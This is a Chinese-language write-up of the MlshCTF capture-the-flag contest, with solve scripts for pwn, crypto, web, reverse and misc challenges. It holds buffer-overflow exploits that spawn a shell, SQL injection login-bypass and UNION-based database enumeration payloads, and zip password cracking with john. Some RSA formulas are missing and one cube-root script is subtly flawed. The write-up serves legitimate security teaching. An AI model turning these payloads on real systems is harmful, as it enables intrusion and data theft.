MlshCTF-Writeup

Zerocatw

前言

此為MlshCTF的Writeup
各類型出題者如下,有問題可+dc聯絡

網站 : https://ctf.mlshctf.site/

Welcome、Crypto、Misc、Pwn : catcat4561
Reverse : gogogo5327
Web : krin.xiao

Welcome

Welcome

點進網頁https://ctf.mlshctf.site/
根據題目「網頁藏了一點咚咚」故猜測flag藏在網頁裡
按下f12查看網頁原始碼,依序點開查看,發現flag

image

Pwn

Guess a Number

這題有兩種解法

解法1

因為我沒限制時間,所以可以直接nc連進去後,透過手動輸入來猜數字(暴力破解)

解法2(預期解)

  1. 把source code載下來觀察
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    def main():
    print("Try to guess a secret number!(1~10000000)")
    secret = randint(1, 10000000)
    num = 0
    while num != secret :
    num = int(input())
    if num < secret :
    print("Higher!")
    elif num > secret :
    print("Lower!")
    elif num == secret :
    break
    print("Congratulations! You win!")
    print(f"Here is the flag : {flag}")
    得知當每次我們nc連上去後,會產生一個隨機數字(secret),範圍是1~10000000
    之後會讀我們的輸入,當我們輸入的數字
  • 小於secret,輸出Higher!
  • 大於secret,輸出Lower!
  • 等於secret,輸出flag
  1. 讀懂題目後,可以來撰寫腳本來解決這題了,這裡會利用pwntools加上二分搜來解,流程如下 :
    1.先remote到目標主機
    2.利用迴圈重複輸入,並在輸入的過程使用二分搜,提高找到secret的效率

  2. 程式碼如下:
    remote ip 記得更改為跟題目給的ip一樣

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    from pwn import *
    r = remote("192.168.3.17", 20001)
    r.sendlineafter(b"Try to guess a secret number!(1~10000000)\n", b"1")

    down = 1
    up = 10000001
    i = 1
    while 1 :
    secret = r.recvline(1)
    print(secret)
    if secret == b"Higher!\n" :
    down = i
    i = (down + up) // 2
    r.sendline(str(i))
    elif secret == b"Lower!\n" :
    up = i
    i = (down + up) // 2
    r.sendline(str(i))
    else :
    break

    r.interactive()

Math

這題一樣有兩種解法

解法1

因為我沒限制時間,所以可以直接nc連進去後,自行計算後手動輸入(暴力破解)

解法2(預期解)

  1. 把source code下載後觀察
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    def main():
    print("There are 100 math questions here, try to answer it.")
    operator = ['+', '-', '*']
    win = 1
    for i in range(1, 101):
    num1 = randint(1, 100)
    num2 = randint(1, 100)
    randomnum = randint(0, 2)
    print(f'Question {i}: {num1}{operator[randomnum]}{num2}=', end="")
    string = str(num1)+operator[randomnum]+str(num2)
    ans = eval(string)
    num = int(input())
    if num != ans :
    win = 0
    print("Wrong answer! bye~")
    break
    if win :
    print("Congratulations! You win!")
    print(f"Here is the flag : {flag}")
    1
    如果覺得程式碼看不太懂,也可以透過直接nc,看他會輸出甚麼東西
    得知題目最一開始
  • 設了一個陣列(operator),內容是”+、-、*”(加減乘)
  • 會隨機生成從1 ~ 100的兩個數字(num1、num2)
  • 還有一個從0 ~ 2的數字(randomnum)

之後會輸出num1 operator[randomnum] num2
並利用eval算出num1 operator[randomnum] num2 的答案,並把答案記錄在ans變數裡 (程式碼第11行)
最後讀我們的輸入,如果輸入 != ans,那就會把win = 0
如果成功答完100題(win = 1)那就可以獲得flag

  1. 主要利用pwntools和eval函數來解決這題
  • eval介紹

    • 用途 :
      可直接給運算式,快速計算出運算式的結果
    • 語法 :
      1
      eval(expression[, globals[, locals]])
    • 例子 :
      1
      2
      3
      calculation = 5*10
      result = eval(calculation)
      print(result) #會輸出50
      image
  • 解題流程

    1. 先remote到目標主機
    2. 利用迴圈,讀入運算式
      image
      根據nc內容和eval的使用方法,得知我們要的是”79*10”或是”61+100”的部分,
      也就是”: “後面跟”=”前面的部分,
      所以這裡我的寫法是利用recvuntil把”: “前面都忽略掉,
      1
      Question 1: 79*10= ->79*10=
      之後再把後面的字串用變數儲存起來
      1
      calculation = r.recvuntil(b'=').decode()
      .decode()是因為我們recv下來的字串會是byte形式,前面會多一個b’’
      1
      2
      3
      4
      在Terminal上面看到的
      Question 1: 79*10=
      如果全部recv下來,會是
      b'Question 1: 79*10='
      此時calculation = “79*10=”
      但我們不要”=”,所以要多加一個[:-1]
      1
      calculation = r.recvuntil(b'=')[:-1].decode()
      解釋大概是[從0到 : 最後-1的位子]
      這時候calculation就會是”79*10”了
    3. 利用eval計算出答案送出
  1. 程式碼如下 :
    remote ip 記得更改為跟題目給的ip一樣
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    r = remote("192.168.3.17", 20002)

    r.recvuntil(b"try to answer it.\n")
    for i in range(1, 101):
    r.recvuntil(b': ')
    calculation = r.recvuntil(b'=')[:-1].decode()
    print(calculation)
    ans = eval(calculation)
    r.sendline(str(ans))

    r.interactive()

BabyOverFlow

  1. 觀察babychal.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    void backdoor() {
    printf("Oh No! You are a Bad Hacker!\n");
    execve("/bin/sh", 0, 0);
    }

    void uname() {
    char str[16];
    printf("input your name: \n");
    fgets(str, sizeof(str), stdin);
    printf("Hello, %s", str);
    }

    void uprofession() {
    char name[32];
    printf("What is your profession? \n");
    gets(name);
    printf("Oh, I see. \n");
    }

    發現可利用的副函式(backdoor)
    裡面的execve("/bin/sh", 0, 0);可成功造成RCE
    也發現在uprofession()裡面是使用gets讀輸入,代表可以輸入任意長度的字元
    由以上可知這題是典型的Buffer overflow
    所以可得解題流程 :

    1. 先找出backdoor的記憶體位址
    2. 利用gets,讓name的return address變成backdoor的記憶體位址,讓整個程式跳到backdoor
    3. 最終執行execve(“/bin/sh”, 0, 0);成功RCE
  2. gdb找backdoor記憶體位址
    先載下題目給的babyflow並執行看看
    記得chmod +x babyflow 不然執行不了
    image
    得知大概會長這樣
    之後利用gdb找backdoor
    輸入指令 info functions
    image
    得到backdoor的記憶體位址為 0x040121d

  3. name + return adress的大小
    從這裡可得知,name大小為32

    1
    2
    3
    4
    5
    6
    7
    void uprofession() {
    char name[32];
    printf("What is your profession? \n");
    gets(name);
    printf("Oh, I see. \n");
    }

    通常會在+8得到name + return adress的大小,所以我們最後payload會是
    隨機長度為40的字串 + 0x040121d

  4. 程式碼如下
    記得記憶體位址要用p64()包起來

    1
    2
    3
    4
    5
    6
    from pwn import *
    r = remote("192.168.3.17" ,20003)
    r.sendlineafter(b"input your name:", b"a")
    payload = b"a"*40 + p64(0x040121d)
    r.sendlineafter(b"What is your profession?", payload)
    r.interactive()

    image

How old are you?

這題只有給ELF檔(執行檔)所以先利用IDA去反編譯得到原始程式碼
IDA -> 案F5反編譯

1
不過反編譯不一定完全正確,但基本應該都是對的

image

反編譯的結果:
一開始會先讀輸入(第五行利用scanf讀age)

  • 如果
    age等於18,那就會return 0結束(第10行)
  • 否則
    讀輸入(第15行利用gets讀name)
    • 如果age等於18,那就會執行execve(“”/bin/sh”)(第20行取得RCE)
    • 否則
      結束return 0(第28行)

由以上可知,我們要利用gets函數改到age的值(第15行),讓age等於18成功RCE(第20行)
但是gets是讀name,那要怎麼改到age的值呢?
這時候可以去觀察看看變數的記憶體位址(在剛剛的IDA點兩下age)
image
從中獲取兩個訊息 :

  • 0x0404080是name的位址,0x0404090是age的位址
  • name記憶體位址在age前面
    經過計算,得知他們相差16bytes
    image

所以可以知道
name蓋16bytes會到age

  • 解法
    利用gets蓋16bytes到age,讓age=18

可以來寫exploit了

  • 程式碼如下 :
    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *

    r = remote("35.234.62.52", 20003)

    payload = p64(18)
    print(payload)
    r.sendlineafter(b"How old are you?\n", b"17")
    r.sendlineafter(b"What your name?\n", b"a"*16+p64(18))
    r.interactive()
    image

Crypto

BabyXOR

這題考的是xor(也就是⊕(數學表示)、^(電腦表示))
要先知道甚麼是xor
可以參考這個網頁的介紹(知道大概原理跟特性就好)
https://ithelp.ithome.com.tw/articles/10318277
image
再來看這題的題目

1
2
3
4
5
6
key2 = "395467574f6d616c73774d6152733650374b496351367a64663438" 
key1 ^ key3 = "7643346f3c5723212a061f1c272e0c6461036302313f6000393336"
key2 ^ key3 = "7c26306f175d131f381f2b0f34170f660018781221602c2005447d"
Flag ^ key2 ^ key3 ^ key1 = "027b2050306e0436213e2022440e6507167d533e32282c0c0b3873"

Flag = ?
  • 解法 :
    結合特性中的
    A⊕B⊕B = A⊕0 = A
    把Flag ^ key2 ^ key3 ^ key1中的key2、key3、key1消掉得到flag
    也就是(Flag ^ key2 ^ key3 ^ key1)^(key1 ^ key3)^(key2)
    -> 題目中的 第四行xor第二行xor第一行

  • 程式碼如下 :
    利用pwntools中的xor函數解題,注意該函數格式固定要是bytes,所以要先轉成bytes然後再去做xor 我這裡是先把key2跟(key1 ^ key3)xor起來,在一次跟(Flag ^ key2 ^ key3 ^ key1)消掉

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *

    key2 = "395467574f6d616c73774d6152733650374b496351367a64663438"
    key1_3 = "7643346f3c5723212a061f1c272e0c6461036302313f6000393336"
    key2_3 = "7c26306f175d131f381f2b0f34170f660018781221602c2005447d"
    flag_2_3_1 = "027b2050306e0436213e2022440e6507167d533e32282c0c0b3873"

    key1_2_3 = xor(bytes.fromhex(key2), bytes.fromhex(key1_3))

    flag = xor(bytes.fromhex(flag_2_3_1), key1_2_3)
    print(flag.decode())

Classical Cipher

從題目得知,這題考的是古典密碼
而常見的古典密碼有 :

  • Caesar Cipher 凱薩密碼
  • Vigenère Cipher 維吉尼亞密碼
  • Rail-fence Cipher 籬笆密碼
  • …還有很多

根據以上猜測題目中的

1
Fdp esp vpj "EspDloDezcj" ez cplo l dlo dezcj.

可能經過凱薩加密
所以利用線上解密器得到以下明文
https://cryptii.com/pipes/caesar-cipher
image

1
Use the key "TheSadStory" to read a sad story.

讀字面意思就是用key讀story,而題目也有給story.txt,下載下來後打開看看

1
2
3
4
5
6
Hugw usgg o kgfl, sf tkw gwxfm vj Foywfpvp 11mo. M oaocxr rjhui an 
wzx drpd, disrlfz o tmta efd iwxzzlz alw crdw kzlw ipgwlfz. W
nymjlwd fgndccl wekslfz pp, gfhkanlfz avcmpry mb vxgkgglh gnh
skcllw alw nhpm qfpglv. Tuw ag hyc xuh, slo A ycllw dek a saxqv my
weheu xtzcggn fwfrjx ap crlw. Gn ll poj ukpxleq:
"EEGYAMM{Lspsq_Lweeelw_Vab!}" Lxoiq plpdeg mi ieahuxjoodtpcw.

發現甚麼都看不懂,但因為這題題目叫Classical Cipher
而古典密碼中需要key的加密,常見的有維吉尼亞
故利用線上解密器,結合剛剛得出的key”TheSadStory”來解密看看
image
成功得到FLAG


講接下來的兩題RSA前,先補充一下,甚麼是RSA

RSA介紹

https://zh.wikipedia.org/zh-tw/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95
image

  • 模運算
    表示為a mod n
    a代表被取模的數,n是模數,運算結果為a除以n的餘數
    e.g. 18 mod 4 = 2 因為18除以4的餘數為2
    python表示
    a = 某數,e = 平方幾次,n = 模數

    1
    pow(a, e, n)

    e.g. 3的2次方mod4 = 1

    1
    pow(3, 2, 4)
  • RSA流程大致如下:

    1. 先選擇任意兩大的質數(p和q),且p不等於q
    2. 根據歐拉函數,得到
    3. 選擇一個小於r的整數e,使e跟r互質,並求得e關於r的模反元素,設為d
      (求d -> )
    • RSA加密:

      c為加密後的結果,n為明文(加密前),e為模數,N為p*q
    • RSA解密:

      n為解密後的結果,c為密文(加密後),d為e跟r((p-1) * (q-1))的模反元素,e為模數,N為p*q

RSA_Easy

1
2
這題題目我出爛了,所以可以直接用網站解哭了
但還是希望了解一下啥是RSA拉哈哈

下載來後看一下程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
from secret import flag
from Crypto.Util.number import *

flag = bytes_to_long(flag)

n = 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
e = 65537
c = pow(flag, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

這個程式的output:

1
2
3
n = 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
e = 65537
c = 5061370730349429183719986779984362765739704575987547712894308499558345406620474823416518

因為我們沒有程式碼中的secret檔案,所以不能執行程式碼,需要透過output推測出flag是啥

解法一

直接丟網站解
https://www.dcode.fr/rsa-cipher
image

解法二

根據最前面的RSA介紹,得知這題的flag被rsa加密(程式碼第8行)
c = pow(flag, e, n)
對應

1
分別對應 c = c, flag = n, e = e, n = N

所以我們要利用output給的n, e, c去解密得到flag
也就是利用這條

我們有c跟N了(題目output給的),所以只要把d求出來就有flag了

程式碼如下 :

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
n = 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
e = 65537
c = 5061370730349429183719986779984362765739704575987547712894308499558345406620474823416518
p = 88942923919478497069248398794539034790292827
q = 88899280969284710491078307117271523349979587
r = (p-1)*(q-1)
e = 65537
d = inverse(e, r)
flag = pow(c, d, n)
print(long_to_bytes(flag))

RSA_Advance

1
這題題目我又出爛了,所以也可以直接用網站解ˊ_>ˋ

下載後看程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from secret import flag
from Crypto.Util.number import *

flag = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3

assert pow(flag, e) < n

c = pow(flag, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

output :

1
2
3
n = 15045495637503383076886953664154628393474382722562097530999670110312205525123675984984457845456708845774201681442538409200532681248443773083205661051124547874615024774861919511184043086702330641224929428440143704795211884788511910045989370439551141778648666746332595358813214460211124127636277094461223263529534077171016884742434937890065649394831197099347196727313714257477982860422784670578990792512560956499088115838017506486753568692666981228370059568447799605013124721946372995902592154637756547300184585775730143167385057571430079872278805985396417884391982566171376997918395451503108556043731799748076934929411
e = 3
c = 32310076242696966965850837974903404646338832419909244451034008853730035437438706539445594096364734279010892983105604179773988607619878002943311001333885584787402939582687464604341651283109090917

解法1

直接丟網站解
https://www.dcode.fr/rsa-cipher
image

解法2

這題的n很大,分解的話要花很多時間,且剛剛factordb網站也沒有分解過後的資料,故不能直接去分解
除此之外,從程式碼得知p跟q很大

1
2
p = getPrime(1024)
q = getPrime(1024)

之後會發現,e很小,所以可以利用一種攻擊”small e attack”
原理大概是
smallattack
所以我們只要對c開e次方根就可以得到flag
程式碼如下:

1
2
3
4
5
6
7
8
from Crypto.Util.number import *
n = 15045495637503383076886953664154628393474382722562097530999670110312205525123675984984457845456708845774201681442538409200532681248443773083205661051124547874615024774861919511184043086702330641224929428440143704795211884788511910045989370439551141778648666746332595358813214460211124127636277094461223263529534077171016884742434937890065649394831197099347196727313714257477982860422784670578990792512560956499088115838017506486753568692666981228370059568447799605013124721946372995902592154637756547300184585775730143167385057571430079872278805985396417884391982566171376997918395451503108556043731799748076934929411
e = 3
c = 32310076242696966965850837974903404646338832419909244451034008853730035437438706539445594096364734279010892983105604179773988607619878002943311001333885584787402939582687464604341651283109090917

m = pow(c, 1/e)
m = long_to_bytes(m)
print(m)

The secret message

這題要了解AES中的ECB跟CBC
可以看這篇文章
https://ithelp.ithome.com.tw/articles/10336337
且也要做過AES的題目(才看得懂python中關於AES的語法)

查看程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from secret import flag
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

import sys
import os

iv = os.urandom(16)
key = get_random_bytes(32)

def encrypt_flag():
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(flag.encode())
ciphertext = encrypted.hex()
return ciphertext

def ECB_decrypt(ciphertext):
cipher = AES.new(key, AES.MODE_ECB)
decryptext = cipher.decrypt(ciphertext).hex()
return decryptext

def main():
message = encrypt_flag()
print("This message is encrypted, try to decrypt it!")
print(f"iv = {iv.hex()}")
print(f"message = {message}")
print("Here is a tool to help you decrypt it.")
while True:
print("1. ECB decrypt")
print("2. Exit")
num = int(input())
if num == 1 :
ciphertext = bytes.fromhex(input("enter the cipher >"))
assert (len(ciphertext) % 16) == 0
decryptext = ECB_decrypt(ciphertext)
print(f"plaintext : {decryptext}")
else :
print("Bye~")
sys.exit()

if __name__ == "__main__":
try:
main()
except:
sys.exit()
  • encrypt_flag()
    利用AES_CBC mode把flag加密後回傳
  • ECB_decrypt()
    把拿到的字串去做ECB解密,並把解密後的結果回傳

整體簡單來說,nc上之後,會輸出iv跟message給你(每次nc上去,iv跟message都會不一樣,因為iv跟key都是隨機生成的(第九跟第十行)),然後message經encrypt_flag()加密
還有一個工具”ECB decrypt”給你使用,可以把你輸入的內容ECB decrypt後的結果輸出
所以這題就是要利用ECB decrypt這個工具去解出message是啥來得到flag

那要怎麼利用呢?

來看一下這兩張圖
Ecb_decryption

1
2
3
ECB : 
把ciphertext切割(在此切割成三組,且互相是獨立的,互不干擾),
分別進行AES解密,得到Plaintext,最後把這三組得到的Plaintext接起來,成功解密

image

1
2
3
4
5
6
7
CBC : 
第一組
把ciphertext1進行AES解密,跟iv做xor,得到plaintext1
第二組
ciphertext2進行AES解密,跟ciphertext1做xor,得到plaintext2
第三組
ciphertext3進行AES解密,跟ciphertext2做xor,得到plaintext3

我們可以觀察出

  • 加解密用的key是相同的,就長一樣
    1
    key在程式碼中為全域變數,故使用相同的key
  • ECB 跟 CBC 差別只有CBC多了一個xor的動作(紅框部分為相同)
    螢幕擷取畫面 2023-10-04 235432

觀察出這樣就可以輕鬆解題了!

解題流程

  1. 把得到的message切割成cipher1、cipher2、cipher3
  2. 分別利用題目的工具去做ECB decrypt,得到plaintext1_temp、plaintext2_temp、plaintext3_temp
  3. 把plaintext1_temp跟iv做xor,得到plaintext1
  4. 把cipher1跟plaintext2_temp做xor,得到plaintext2
  5. 把cipher2跟plaintext3_temp做xor,得到plaintext3
  6. 把plaintext1、2、3組合得到message

程式碼如下:

1
這題也可以人工輸入,得到數據後用python做xor,不一定要全靠程式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

def ECB_decrypt():
r = remote("35.234.62.52", 30001)
r.recvline()
iv = r.recvline()[5:].decode()
message = r.recvline()[10:].decode()
cipher = [message[i:i+32] for i in range(0, len(message), 32)]
plaintext_temp=['','','']
for i in range(0, 3):
r.sendlineafter(b"2. Exit\n", b"1")
r.sendlineafter(b">", cipher[i].encode())
plaintext_temp[i] = r.recvline()[12:].decode()
r.sendlineafter(b"2. Exit\n", b"2")
return iv, cipher, plaintext_temp

def main():
iv, cipher, plaintext_temp = ECB_decrypt()
plaintext1 = xor(bytes.fromhex(plaintext_temp[0]), bytes.fromhex(iv)).decode()
plaintext2 = xor(bytes.fromhex(cipher[0]), bytes.fromhex(plaintext_temp[1])).decode()
plaintext3 = xor(bytes.fromhex(cipher[1]), bytes.fromhex(plaintext_temp[2])).decode()
print(plaintext1+plaintext2+plaintext3)

main()

Web

尋旗行動

點進網頁 http://http://34.81.154.203/:10001/
Hint給了一個路徑/flag
訪問後得到flag

簡單的登入

點進網頁 http://http://34.81.154.203/:10002/
image
根據題目,猜測說此題考的是利用SQL injection bypass登入頁面
f12觀察發現有給登入頁面SQL查詢的語法
image

SELECT * FROM users WHERE username = '$user' AND password = '$pass'
得知如果我們分別在欄位Username跟Password輸入
Username : admin
Password : aaa
那查詢語句就會是
SELECT * FROM users WHERE username = 'admin' AND password = 'aaa'
所以我們就可以來構建我們的攻擊語句了!

思路 : 因為我們不知道密碼,故需要bypass密碼驗證

解法 (把AND後面都註解掉)

SELECT * FROM users WHERE username = '' AND password = ''

首先我們username先輸入admin
輸入 : username = admin
SELECT * FROM users WHERE username = ‘ admin ‘ AND password = ‘’

因為我們要把後面都註解掉,所以我們在admin後面多加一個單引號來達成閉合
輸入 : username = admin’
SELECT * FROM users WHERE username = ‘ admin’ ‘ AND password = ‘’

接下來我們要讓這個查詢語句成立,可以利用OR 1=1 – 來達成
輸入 : username = admin’ OR 1=1 – (注意–後面有空格,如沒有空格會失敗)
SELECT * FROM users WHERE username = ‘ admin’ OR 1=1 – ‘ AND password = ‘’

因為1=1恆正,且後方密碼檢查被”– “註解掉,所以該查詢成立

image

ps. 如果直接複製貼上,會失敗,因為Markdown的兩個減號會合併成1個長的減號,所以建議自己手動打打看(- -去掉空格)

p.s.,另解:通靈出來帳號為admin, 密碼為hudio23d79232@oahdaqpakk


詳細可參考這篇 : https://feifei.tw/sql-injection/
還有這篇 : https://ithelp.ithome.com.tw/articles/10189201


轉檔的奧秘

Reverse

BabyReverse

1.將檔案解壓縮以後,把exe檔丟到逆向工具(ida)做原碼分析
1
2.按F5,查看原代碼
2
3.將三段flag結合,本題結束flag為MlshCTF{G0oD_s7uDEnt_1!K3_REVerS3}


Calculator

1.將檔案檔丟到逆向工具(ida)做原碼分析
3
2.按F5,查看原代碼
4
3.點進函式str(), std(), stg()尋找比對數值
5
4.找到三個數值,相加3113768+20190067+1609537=24913372
flag為MlshCTF{24913372}


mega-reverse

方法一:靜態分析

1.將檔案檔丟到逆向工具(ida)做原碼分析
6
2.按F5,查看原代碼
7
3.進入第16行的enc()函式,找到加密flag 的方式為XOR
8
4.將v4和v5去掉開頭0x和結尾LL,因為是little endian,所以要反轉輸入,再串接起來
v4=6b6c72663835303339353830346d35756678636f7169786c656f33677073636f
v5=165f21147d4303416641796f505d7a4c394b310e2e1c17351e29672418000f22
9
5.兩數做XOR,就會得到反的flag:
10
6.再用工具字串反轉,就可以得到正確的flag
11

方法二:

1.打開linux終端機,wget 網址到終端機
12
2.利用chmod增加執行權限
13
3.輸入gdb ./mega-rev ,用來打開gdb
(gdb 插件peda安裝請看: https://blog.csdn.net/am_03/article/details/119869376 )
14
4.輸入b main ,設斷點在主程式main
15
5.輸入r (run)就可看到code 和stack的內容
16
6.輸入n (next)可以跳轉到下一行指令,按下28次後就在stack 0032 中看到flag
,原理是因為flag會在程式中解密得到,但不會輸出,所以要在stack中查看
flag=MlshCTF{You_aR3_9O0d_At_r3vErS3}
17


Misc

Exploring JPG Images

利用工具查看jpg exif,這裡示範為用exiftool
image
看到可疑被base64編碼過後的字串
拿去decode得到flag
image

ZipCrack

利用john加上rockyou.txt字典檔來爆破zip密碼
輸入指令

1
2
zip2john Flag.zip > zip.hash
john -wordlist=/usr/share/wordlists/rockyou.txt zip.hash

成功後輸入指令把密碼show出來

1
john -show zip.hash

image

得知密碼為zachariah1
利用密碼打開zip裡面的flag.txt得到flag

好厲害題目(Web)

先備知識

順序
庫->表->欄

MySQL MsSQL 用途
version() @@version 得知版本
database() db_name() 得知當前所在的資料庫
user() user 得知當前使用者名稱

limit

1
2
limit 0,1 為從第一筆資料開始輸出1項
limit 1,1 為從第二筆資料開始輸出1項

ps. MsSQL沒有limit,可用以下代替

1
2
3
UNION SELECT * FROM !!! ORDER BY ??? OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY
從第0行開始輸出一行
!!!跟???自行替換

information_schema

1
2
3
4
5
information_schema.SCHEMATA ->記錄這個SQL有哪些庫
information_schema.TABLES ->記錄這個SQL有哪些表
information_schema.COLUMNS ->記錄這個SQL有哪些欄
table_name ->表名
columns_name ->欄位名

Sqli_1

題目網址 : http://34.81.154.203:10004/
進去後先隨便點一個報導
image

發現可能存在注入風險的路徑(id=1)
先來測試一下
可用
id = 4-2
id = 3-2
id = 1 and 1=1
我們用id=4-2試試看
會發現跑到第二篇報導了
image
image

由此可知這個網頁可能有sqli的漏洞
用UNION SELECT攻擊試試看
因為UNION要兩邊個數一樣
先試試看
UNION SELECT 1
image

發現啥都沒有,代表不只有一個,再試試看兩個
UNION SELECT 1,1
image

也是甚麼都沒有,再來試3個
UNION SELECT 1,1,1
image

發現這次有東西了,所以我們可以把1,1,1都換成version(),user(),database()試試看

UNION SELECT version(),user(),database()
image

第三個跑不出來所以在UNION一次
UNION SELECT version(),database(),1
image

得知我們現在在mysql_union這個資料庫裡
找到庫了,接下來要來找這個庫有哪些表
information_schema.tables這裡記錄所有的表
所以可以輸入
0 UNION SELECT table_name,1,2 from information_schema.tables WHERE table_schema = 'mysql_union'
這句話的意思大概是
從’information_schema.tables’找出有在’mysql_union’庫裡面的表
image

找到了flags這個表
接下來找這個表有哪些欄
0 UNION SELECT column_name,1,1 from information_schema.columns where table_name = 'flags'
image

會發現找到了content這個欄位
就可以來看這個欄位的內容拉
0 UNION SELECT content,2,3 from flags
image

!居然沒有flag,這時候就要用到limit了,因為我們一次只能輸出一列,而limit可以限制要輸出哪一列,所以我們讓他輸出第二列

0 UNION SELECT content,2,3 from flags limit 1,1

得到flag
image

補充

除了content這個欄位
輸入
0 UNION SELECT column_name,2,3 from information_schema.columns where table_name = 'flags' limit 1,1

會發現還有一個欄位是id
image

輸入
0 UNION SELECT id,content,3 from flags limit 0,1
回傳
1 (id)
Oops, not here (content)
image

輸入
0 UNION SELECT id,content,3 from flags limit 1,1
回傳
2 (id)
MlshCTF{…} (content)
image

用sqlmap看的話就是長這樣
image

前面其實mysql_union也不只有flags這張表,都可以用limit玩看看
image

希望這樣有更清楚一點XD

Sqli_2

Sqli_3

Sqli_nogamenolife

LFI

  • Title: MlshCTF-Writeup
  • Author: Zerocatw
  • Created at : 2024-07-20 22:10:10
  • Link: https://zerocatw.github.io/2024/07/20/MlshCTF-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.